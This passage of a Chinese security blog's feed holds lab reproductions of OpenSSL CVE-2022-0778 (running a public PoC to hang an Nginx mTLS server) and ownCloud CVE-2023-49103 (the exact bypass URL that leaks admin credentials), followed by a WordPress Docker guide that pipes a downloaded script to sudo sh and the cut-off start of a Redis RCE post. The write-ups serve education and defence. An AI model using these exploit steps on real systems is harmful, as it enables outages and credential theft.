    BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE);
    goto end;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;循环边界由 for 语句保证，无论 $p$ 是否为素数，循环都会在 $e$ 步内退出，未找到结果时报错返回。&lt;/p&gt;
&lt;h3&gt;漏洞利用路径：ASN.1 编码注入&lt;/h3&gt;
&lt;h4&gt;攻击向量构造&lt;/h4&gt;
&lt;p&gt;攻击者无需伪造证书签名。利用工具（如 jkakavas/CVE-2022-0778-POC）通过以下步骤构造载荷：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;修改字段：定位 ASN.1 结构中的 prime-field 字段；&lt;/li&gt;
&lt;li&gt;注入合数：将合数编码进 parameters 对象；&lt;/li&gt;
&lt;li&gt;触发解析：将包含该参数的证书作为客户端证书（Client Certificate）在 TLS 握手阶段发送。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;绕过验证&lt;/h4&gt;
&lt;p&gt;解析逻辑发生在证书链校验（Signature Verification）之前。当服务器（如 Nginx）调用 d2i_X509 系列函数将二进制流转换为内部结构时，就会触发参数解析，CPU 耗尽先于任何证书校验发生，因此攻击证书无需有效签名。&lt;/p&gt;
&lt;h2&gt;主动攻击 mTLS 目标&lt;/h2&gt;
&lt;p&gt;前一节的复现是被动场景：攻击者搭建恶意服务器，等待受害者主动访问。这一节改为主动场景：攻击者直接向目标网站的 TLS 端口注入恶意证书，瘫痪开启客户端证书校验的服务。&lt;/p&gt;
&lt;h3&gt;搭建环境&lt;/h3&gt;
&lt;p&gt;在原来 &lt;code&gt;vulhub/openssl/CVE-2022-0778&lt;/code&gt; 目录下新建一个存放证书的文件夹并生成一个自签名的服务器证书：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose down	# 先关闭容器（如果启动）
└─$ mkdir certs
└─$ openssl req -x509 -newkey rsa:2048 -keyout certs/server.key -out certs/server.crt -days 365 -nodes -subj &quot;/C=CN/ST=BJ/L=BJ/O=Test/OU=Test/CN=localhost&quot;
...（密钥生成的进度点输出省略）
-----
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在当前目录下创建 Nginx 配置文件：&lt;code&gt;nginx.conf&lt;/code&gt;，并开启双向认证 &lt;code&gt;ssl_verify_client on&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;events { worker_connections 1024; }
http {
    server {
        listen 443 ssl;
        server_name localhost;

        # Nginx 自身的证书
        ssl_certificate     /etc/nginx/certs/server.crt;
        ssl_certificate_key /etc/nginx/certs/server.key;

        # 核心设置：要求客户端提供证书，触发漏洞解析逻辑
        ssl_verify_client on;
        
        # 指向一个 CA（这里暂时指向我们自己的 crt 即可）
        # 漏洞触发在证书解析阶段，早于证书链验证阶段
        ssl_client_certificate /etc/nginx/certs/server.crt;

        location / {
            root /usr/share/nginx/html;
            index index.html;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改原有的 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件，增加 &lt;code&gt;nginx&lt;/code&gt; 服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
  curl:
    image: vulhub/openssl:1.1.1m-with-curl
    command: sleep infinity
  nginx:
    image: nginx:1.18.0
    ports:
      - &quot;443:443&quot;
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
      - ./certs:/etc/nginx/certs:ro
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新拉取镜像启动容器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d
└─$ docker ps

7f9bbf12a482   nginx:1.18.0                      &quot;/docker-entrypoint.…&quot;   17 minutes ago   Up 17 minutes   80/tcp, 0.0.0.0:443-&amp;gt;443/tcp, :::443-&amp;gt;443/tcp   cve-2022-0778-nginx-1
c5e20348f12c   vulhub/openssl:1.1.1m-with-curl   &quot;sleep infinity&quot;          17 minutes ago   Up 17 minutes                                                   cve-2022-0778-curl-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec nginx nginx -T | grep ssl_verify_client
ssl_verify_client on;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出 &lt;code&gt;ssl_verify_client on;&lt;/code&gt;，说明靶机已准备好解析发来的客户端证书。&lt;/p&gt;
&lt;p&gt;启动监控：Nginx 官方镜像基于极简的 Debian 或 Alpine 系统，为了减小体积没有安装 &lt;code&gt;top&lt;/code&gt; 命令。可以使用 &lt;code&gt;docker stats&lt;/code&gt; 监控，无需进入容器内部。攻击前 &lt;code&gt;CPU %&lt;/code&gt; 接近 0%。&lt;/p&gt;
&lt;h3&gt;目标探测&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default&quot; 192.168.31.148

# 扫描结果
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx 1.18.0
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN
| Not valid before: 2026-01-23T17:24:27
|_Not valid after:  2027-01-23T17:24:27
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
|_http-title: 400 No required SSL certificate was sent
| tls-nextprotoneg: 
|_  http/1.1
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;nginx 1.18.0&lt;/code&gt;：确认了服务版本。该镜像内的 OpenSSL 属于受影响版本，这一点由后续攻击成功得到验证。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;400 No required SSL certificate was sent&lt;/code&gt;：这是最关键的一行。它表明当 Nmap 尝试访问网页时，服务器返回了 400 错误，并明确提示“未发送所需的 SSL 证书”。这证实了靶机的 &lt;code&gt;ssl_verify_client on;&lt;/code&gt; 配置已生效。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN&lt;/code&gt;：这显示了之前手动生成的自签名服务器证书已挂载成功。&lt;/p&gt;
&lt;h3&gt;发起攻击&lt;/h3&gt;
&lt;p&gt;本次复现使用了&lt;a href=&quot;https://github.com/jkakavas/CVE-2022-0778-POC&quot;&gt;jkakavas&lt;/a&gt;的 POC。较新版本的 Kali Linux 遵循 PEP 668 规范，禁止直接在全局环境中使用 &lt;code&gt;pip&lt;/code&gt; 安装包，因此需要创建一个虚拟环境。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ git clone https://github.com/jkakavas/CVE-2022-0778-POC.git
└─$ cd CVE-2022-0778-POC

┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 -m venv CVE-2022-0778-venv
└─$ source CVE-2022-0778-venv/bin/activate	# 切换虚拟环境

┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ pip install -r requirements.txt	# 安装依赖
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，这个脚本使用了异步库 &lt;code&gt;asyncore&lt;/code&gt;，Python 官方在 3.6 版本将其标记为弃用，并在 3.12 版本中彻底移除（PEP 594）。社区为解决这个问题提供了独立的 &lt;code&gt;pyasyncore&lt;/code&gt; 包，因此还需要执行 &lt;code&gt;pip install pyasyncore&lt;/code&gt;，保证 &lt;code&gt;tlslite-ng&lt;/code&gt; 正常运行。&lt;/p&gt;
&lt;p&gt;开始攻击：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 main.py --server 192.168.31.148 --port 443
Crafted Certificate msg sent, check server.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时立即查看 Nginx 监控，&lt;code&gt;CPU %&lt;/code&gt; 从接近 0% 直接跃升并稳定在 100%，说明已经通过注入畸形证书，使 Nginx 的解析进程陷入死循环。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./OpenSSL-%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2022-0778%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2022-0778-nginxcpu100.png&quot; alt=&quot;docker stats：攻击后 Nginx 容器 CPU 占用 100%&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;官方于 2022 年 3 月 15 日发布修复版本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL 3.0.2（修复 3.0.0–3.0.1）&lt;/li&gt;
&lt;li&gt;OpenSSL 1.1.1n（修复 1.1.1–1.1.1m）&lt;/li&gt;
&lt;li&gt;OpenSSL 1.0.2zd（修复 1.0.2–1.0.2zc；1.0.2 分支已停止主流维护，建议迁移到受支持版本）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;代码层面的修复是把 BN_mod_sqrt() 中查找阶的循环改为有界形式（见“漏洞核心原理”一节）。3.0 分支的触发条件略有不同：公钥不在证书初始解析时处理，任何需要用到证书公钥的操作（例如验证自签名证书的签名）都会触发无限循环。&lt;/p&gt;
&lt;p&gt;无法立即升级的场景，应避免解析来自不可信来源的证书和私钥。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL 官方公告（2022-03-15）：https://openssl-library.org/news/secadv/20220315.txt&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/cve-2022-0778&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778&lt;/li&gt;
&lt;li&gt;jkakavas POC（本文攻击工具）：https://github.com/jkakavas/CVE-2022-0778-POC&lt;/li&gt;
&lt;li&gt;drago-96 原始 PoC：https://github.com/drago-96/CVE-2022-0778&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>ownCloud 信息泄露漏洞（CVE-2023-49103）复现</title><link>https://blog.mal-suen.cn/posts/2024/08/191/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2024/08/191/</guid><description>ownCloud GraphAPI 插件把第三方库中的调试文件 GetPhpInfo.php 部署到生产环境，未授权攻击者借助 Apache PathInfo 特性在路径末尾附加静态后缀，绕过 URL 重写规则触发 phpinfo() 输出，泄露包含管理员凭据的服务器环境变量。CVSS 10.0，graphapi 0.2.x／0.3.x 受影响，ownCloud Server 10.13.3 以下均预装受影响版本。本文基于 Vulhub 靶场复现完整利用过程。</description><pubDate>Sat, 17 Aug 2024 16:31:52 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2023-49103 是 ownCloud GraphAPI 插件的未授权信息泄露漏洞，CVSS 10.0。插件把第三方依赖库（microsoft-graph SDK）中的调试文件 GetPhpInfo.php 随应用一同部署到生产环境；攻击者利用 Apache 的 PathInfo 特性，在请求路径末尾附加静态资源后缀（如 /.css）绕过 ownCloud 的 URL 重写规则，直接访问该文件并触发 phpinfo() 输出。phpinfo 会输出全部服务器环境变量，容器化部署中包含管理员账号密码等敏感凭据，可导致完全接管 ownCloud 实例。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 owncloud/CVE-2023-49103 靶场（ownCloud 10.12.1），覆盖指纹识别、漏洞验证、凭据泄露三个阶段，并拆解 PathInfo 绕过的成因。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2023-49103&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;graphapi 0.2.x（&amp;lt;0.2.1）、0.3.x（&amp;lt;0.3.1）；graphapi 预装于 ownCloud Server 10.6 起，Server &amp;lt; 10.13.3 均受影响&lt;/td&gt;
&lt;td&gt;未授权敏感信息泄露&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ git pull origin master	# 若无 owncloud 目录，手动更新仓库
└─$ cd vulhub/owncloud/CVE-2023-49103
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
9f15fafcf802   vulhub/owncloud:10.12.1   &quot;/usr/bin/entrypoint…&quot;   7 minutes ago   Up 7 minutes   0.0.0.0:8080-&amp;gt;8080/tcp, :::8080-&amp;gt;8080/tcp   cve-2023-49103-owncloud-1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-open-proxy: Proxy might be redirecting requests
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: ownCloud
|_Requested resource was http://192.168.31.148:8080/login
|_http-server-header: Apache
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描结果显示端口 8080 开放，&lt;code&gt;http-title&lt;/code&gt; 标注为 ownCloud，目标运行 ownCloud 服务，访问根目录被重定向到 &lt;code&gt;/login&lt;/code&gt;。这是正常现象，漏洞路径不需要登录。&lt;/p&gt;
&lt;p&gt;nmap 的默认脚本只扫出了 &lt;code&gt;robots.txt&lt;/code&gt; 和 &lt;code&gt;login&lt;/code&gt; 页面。CVE-2023-49103 隐藏在 &lt;code&gt;vendor&lt;/code&gt; 目录下，属于第三方库（Microsoft Graph SDK）带进来的测试文件，一般的扫描器如果不使用特定指纹字典，很难发现这个深层路径。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;先验证漏洞文件能否直接访问。在 Kali 终端执行以下 curl 命令，观察 HTTP 状态码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -I http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
HTTP/1.1 302 Found
...（其余响应头省略）
Location: http://192.168.31.148:8080/login
Content-Type: text/html; charset=UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接访问被重定向到登录页面；已修复的实例会返回 403/404。这里返回 302，是因为 ownCloud 通过 &lt;code&gt;.htaccess&lt;/code&gt; 默认启用了严格的 URL 重写规则，所有对 PHP 文件的直接请求都会被重定向到前端控制器，阻止了对内部调试文件的访问。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;重写规则对以静态资源扩展名（&lt;code&gt;.css&lt;/code&gt;、&lt;code&gt;.js&lt;/code&gt;、&lt;code&gt;.png&lt;/code&gt; 等）结尾的请求不做重写。攻击者利用这一点，在目标 PHP 文件路径后附加一个“假”的静态扩展名（如 &lt;code&gt;/.css&lt;/code&gt;），使 Apache 将其当作静态资源请求，绕过重写规则，直接执行该 PHP 文件。&lt;/p&gt;
&lt;p&gt;在浏览器直接访问 &lt;code&gt;http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css&lt;/code&gt;，即可看到 &lt;code&gt;phpinfo()&lt;/code&gt; 输出页面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ownCloud-%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2-(CVE-2023-49103)%E5%A4%8D%E7%8E%B0.assets/CVE-2023-49103-phpinfo-1.png&quot; alt=&quot;phpinfo 输出页面，Environment 段中可见 OWNCLOUD_ADMIN_PASSWORD 环境变量&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在页面中搜索 &lt;code&gt;OWNCLOUD_&lt;/code&gt; 或 &lt;code&gt;Environment&lt;/code&gt; 可以快速定位敏感凭据。本靶机的环境变量由 Vulhub 的 docker-compose.yml 注入，&lt;code&gt;OWNCLOUD_ADMIN_PASSWORD&lt;/code&gt; 的值为 &lt;code&gt;secret123&lt;/code&gt;；生产环境中这一行是真实的管理员密码，此外还可能包含邮件服务器凭据、许可证密钥等。&lt;/p&gt;
&lt;p&gt;注意：此绕过手法依赖于 &lt;strong&gt;Apache + mod_php + PathInfo 支持&lt;/strong&gt; 的环境，如果使用 Nginx 或 PHP-FPM，则此绕过方式可能无效。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;GraphAPI 插件通过 Composer 引入第三方依赖 microsoft-graph SDK，SDK 的 tests 目录中包含调试文件 GetPhpInfo.php，内容就是一句 &lt;code&gt;phpinfo()&lt;/code&gt;。插件打包时未排除测试文件，该文件随应用一同部署到生产环境的 &lt;code&gt;apps/graphapi/vendor/&lt;/code&gt; 目录下，这就是漏洞的源头。&lt;/p&gt;
&lt;p&gt;文件虽然部署了，直接访问却会被 ownCloud 的 &lt;code&gt;.htaccess&lt;/code&gt; 重写规则拦截：所有 PHP 请求都被重写到前端控制器，这就是直接访问返回 302 的原因。但重写规则对以静态资源扩展名（.css、.js、.png 等）结尾的请求放行，不做重写。攻击者在路径末尾附加 &lt;code&gt;/.css&lt;/code&gt; 后，URL 以静态扩展名结尾，重写规则不再匹配。&lt;/p&gt;
&lt;p&gt;真正让文件执行起来的是 Apache 的 PathInfo 特性：对 &lt;code&gt;/GetPhpInfo.php/.css&lt;/code&gt; 这样的请求，Apache + mod_php 把 &lt;code&gt;/.css&lt;/code&gt; 当作 PATH_INFO，仍然执行 &lt;code&gt;GetPhpInfo.php&lt;/code&gt; 本身。&lt;code&gt;phpinfo()&lt;/code&gt; 随即输出全部 PHP 环境信息，其中 Environment 段包含 Web 服务器进程的全部环境变量。容器化部署中，ownCloud 的管理员账号密码、邮件服务器凭据、许可证密钥都通过环境变量注入，因此全部出现在输出中。&lt;/p&gt;
&lt;p&gt;官方公告还明确：仅禁用 graphapi 应用不能消除漏洞，文件位于 vendor 目录，不随应用禁用而移除，仍可被直接访问。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 graphapi 至 0.2.1 或 0.3.1（按当前版本线）；graphapi 预装于 ownCloud Server，升级 Server 至 10.13.3 及以上同样完成修复。&lt;/li&gt;
&lt;li&gt;临时缓解：删除 &lt;code&gt;apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php&lt;/code&gt; 文件；在 PHP 配置中将 &lt;code&gt;phpinfo&lt;/code&gt; 加入 &lt;code&gt;disable_functions&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;仅禁用 graphapi 应用无效（见上文原理）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该漏洞已列入 CISA KEV 目录，存在在野利用，受影响实例应尽快处置。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ownCloud 官方公告：https://owncloud.com/blogs/immediate-action-required-critical-security-updates-for-owncloud/&lt;/li&gt;
&lt;li&gt;GitHub Advisory（GHSA-7f2q-q825-57p8）：https://github.com/advisories/GHSA-7f2q-q825-57p8&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2023-49103&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/owncloud/CVE-2023-49103&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Debian系统使用Docker安装WordPress</title><link>https://blog.mal-suen.cn/posts/2023/11/14/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/11/14/</guid><description>本文主要介绍在Debian系统上使用Docker部署WordPress，这是一种高效且便捷的方式，能够快速搭建WordPress环境，同时保持系统的干净和隔离。</description><pubDate>Tue, 07 Nov 2023 07:50:11 GMT</pubDate><content:encoded>&lt;p&gt;本文主要介绍在Debian系统上使用Docker部署WordPress，这是一种高效且便捷的方式，能够快速搭建WordPress环境，同时保持系统的干净和隔离。&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;在Debian系统上使用Docker部署WordPress是一种高效且便捷的方式，能够快速搭建WordPress环境，同时保持系统的干净和隔离。&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;h3&gt;1. 更新系统包&lt;/h3&gt;
&lt;p&gt;首先确保您的Debian系统是最新的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 安装Docker&lt;/h3&gt;
&lt;p&gt;通过以下命令安装Docker引擎：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker $USER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完成后，请重新登录终端或执行 &lt;code&gt;newgrp docker&lt;/code&gt; 命令，以便让当前用户获得Docker操作权限。&lt;/p&gt;
&lt;h2&gt;使用Docker Compose部署WordPress&lt;/h2&gt;
&lt;h3&gt;1. 创建项目目录&lt;/h3&gt;
&lt;p&gt;项目目录可以创建在&lt;code&gt;/usr/local&lt;/code&gt;或&lt;code&gt;/opt&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir my_wordpress &amp;amp;&amp;amp; cd my_wordpress
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 创建docker-compose.yml文件&lt;/h3&gt;
&lt;p&gt;使用文本编辑器创建 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件，并填入以下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;

services:
  db:
    image: mysql:8.0
    volumes:
      - &apos;/opt/wordpress/db-data:/var/lib/mysql&apos;
    environment:
      MYSQL_ROOT_PASSWORD: your_secure_root_password
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: your_secure_wordpress_password
    restart: unless-stopped
    networks:
      - wordpress_network

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - &apos;/opt/wordpress/wp-content:/var/www/html/wp-content&apos;
    ports:
      - &quot;80:80&quot;
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: your_secure_wordpress_password
      WORDPRESS_DB_NAME: wordpress
    restart: unless-stopped
    networks:
      - wordpress_network

networks:
  wordpress_network:
    driver: bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;‌&lt;strong&gt;重要提示&lt;/strong&gt;‌：要将&lt;code&gt;your_secure_root_password&lt;/code&gt;和&lt;code&gt;your_secure_wordpress_password&lt;/code&gt;替换为自己设置的强密码。&lt;/p&gt;
&lt;h3&gt;3. 启动服务&lt;/h3&gt;
&lt;p&gt;在包含 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件的目录下执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;完成WordPress安装&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在浏览器中输入您的服务器IP地址或域名&lt;/li&gt;
&lt;li&gt;您将看到WordPress的安装界面&lt;/li&gt;
&lt;li&gt;按照屏幕提示完成以下步骤：
&lt;ul&gt;
&lt;li&gt;选择语言&lt;/li&gt;
&lt;li&gt;设置站点标题&lt;/li&gt;
&lt;li&gt;创建管理员用户名和密码&lt;/li&gt;
&lt;li&gt;设置电子邮件地址&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;点击“安装WordPress”完成安装&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;管理与维护&lt;/h2&gt;
&lt;h3&gt;常用命令&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;查看服务状态：&lt;code&gt;sudo docker compose ps&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查看日志：&lt;code&gt;sudo docker compose logs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;停止服务：&lt;code&gt;sudo docker compose down&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;停止并删除所有数据（谨慎使用）：&lt;code&gt;sudo docker compose down -v&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;这种方法不仅简化了安装过程，还通过容器化技术确保了环境的一致性和可重复性。Docker Compose的YAML配置文件使得整个部署过程更加标准化，便于后续的维护和升级。&lt;/p&gt;
</content:encoded></item><item><title>Redis 远程代码执行漏洞（CVE-2022-0543）复现</title><link>https://blog.mal-suen.cn/posts/2023/09/178/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/09/178/</guid><description>Debian/Ubuntu 打包 Redis 时改为动态链接系统 Lua 库，未正确清除 Lua 的 package 变量，攻击者可通过 eval 命令执行 Lua 脚本，用 package.loadlib 加载系统 liblua 并导出被禁用的 os 模块，实现沙箱逃逸与远程代码执行。CVSS 10.0，影响 Debian buster/bullseye 与 Ubuntu 20.04/21.10 的 apt 安装版 Redis。本文基于 Vulhub 靶场复现并获取 root 权限反弹 Shell。</description><pubDate>Fri, 29 Sep 2023 16:48:28 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2022-0543 是 Debian/Ubuntu 打包 Redis 时引入的 Lua 沙箱逃逸漏洞，CVSS 10.0。上游 Redis 官方版本将 Lua 引擎静态嵌入二进制并剔除了危险模块，不受影响；Debian、Ubuntu 的维护者打包时改为动态链接系统自带的 Lua 库，且未正确清除 Lua 的 &lt;code&gt;package&lt;/code&gt; 变量。攻击者通过 Redis 的 &lt;code&gt;eval&lt;/code&gt; 命令执行 Lua 脚本，用 &lt;code&gt;package.loadlib&lt;/code&gt; 加载系统 liblua 库并导出被禁用的 &lt;code&gt;os&lt;/code&gt; 模块，即可在服务器上执行任意命令。漏洞不挑 Redis 版本，只挑安装方式：apt 安装的 Redis 才受影响。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 redis/CVE-2022-0543 靶场（Ubuntu 20.04 focal，Redis 5.0.7），覆盖指纹识别、未授权访问验证、Lua 沙箱检测、反弹 Shell 四个阶段，并拆解 Debian 打包引入缺陷的成因。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-0543&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;apt 安装的 Redis：Debian buster（10）、bullseye（11）；Ubuntu 20.04 LTS、21.10&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Ubuntu 18.04 LTS 不受影响（打包方式未引入该缺陷）。&lt;/p&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地
└─$ cd vulhub/redis/CVE-2022-0543

┌──(kali㉿kali)-[~/vulhub/redis/CVE-2022-0543]
└─$ docker-compose up -d	# 拉取镜像并启动容器
└─$ docker ps	# 确认容器启动状态

7b520778b565   vulhub/redis:5.0.7   &quot;redis-server /etc/r…&quot;   13 minutes ago   Up 13 minutes   0.0.0.0:6379-&amp;gt;6379/tcp, :::6379-&amp;gt;6379/tcp   cve-2022-0543-redis-1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
